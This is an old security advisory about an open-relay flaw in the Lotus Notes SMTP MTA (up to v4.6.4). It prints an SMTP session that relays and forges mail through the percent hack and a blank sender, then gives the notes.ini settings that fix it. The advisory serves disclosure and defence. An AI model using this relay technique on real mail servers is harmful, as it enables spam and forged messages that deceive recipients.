COMMAND

    Lotus Notes

SYSTEMS AFFECTED

    Lotus Notes MTA (up to v4.6.4)

PROBLEM

    Robert Lister found following.  Vulnerability about NTMail having
    open relaying ability, as describes at:

        http://oliver.efri.hr/~crv/security/bugs/NT/ntmail2.html

    in certain  situations Robert  has identified  a problem  with the
    Lotus  SMTP  MTA  (right  up  to  v4.6.4,  yet  to test Domino 5).
    Basically, it's possible  to relay (and  even appear to  "forge" a
    message) using  a combination  of the  percent hack  and the blank
    from address, and this  is *despite* having changed  the notes.ini
    with the settings for anti-relaying:

        telnet server 25
        Connected to 192.168.100.1.
        Escape character is '^]'.
        220 company.com Lotus SMTP MTA Service Ready
        HELO some.domain
        250 company.com
        MAIL FROM:<>
        250 OK
        RCPT TO:<recipient%remote.domain.net@company.com>
        250 OK
        DATA
        From: ... etc

        whaterver you like..

        .
        250 Message received OK.
        quit
        221 GoodBye

    The bad  bit of  this is  that notes  seems to  strip out previous
    headers (depending on how it's  configured)  and add new  outgoing
    notes  headers,  and  it  even  goes  as  far  as doing thigs like
    expanding  cc:headers  and  permitting  sending  to  notes mailing
    lists, etc,  making it  look like  mail originated  from the notes
    domain itself.   It also takes  whatever you put  in the "From:  "
    header and presents this in its outgoing "MAIL FROM:<>"

    Seems like Lotus SMTP  MTA also likes to  accept any mail for  any
    domain, and then, only having  accepted it, make a decision  as to
    what to do  with it.   If it decides  that it cannot  relay it, it
    generates a message  back to the  "sender" that "this  server will
    not relay"  however, 9  times of  of 10,  the remote  domain won't
    exist, so this message will fail - as opposed to responding  with,
    say, 5xx relaying   not permitted before   accepting the  message.
    Possibly not the best use of the protocol!

SOLUTION

    Lotus  support  has  been  contacted  and they have confirmed that
    this is an issue and are looking in to it.   This will work UNLESS
    the two below notes.ini settings are set.

        smtpmta_allow_known_domains=1
        smtp_och_reject_smtp_originated_messages=1

    So:

        Connected to 192.168.100.1.
        Escape character is '^]'.
        220 company.com Lotus SMTP MTA Service Ready
        HELO some.company
        250 company.com
        MAIL FROM:<>
        250 OK
        RCPT TO:<recipient%remote.domain.net@company.com.com>
        501 This MTA is configured NOT to relay message from [some.server.com] to
        [company.com.com].
        quit
        221 GoodBye

    This is  a new  SMTPMTA setting  from R4.6.4  onward (still tested
    server permits to relay using  the mentioned percent hack, IF  the
    domain after the @ sign is the same as the server's domain name).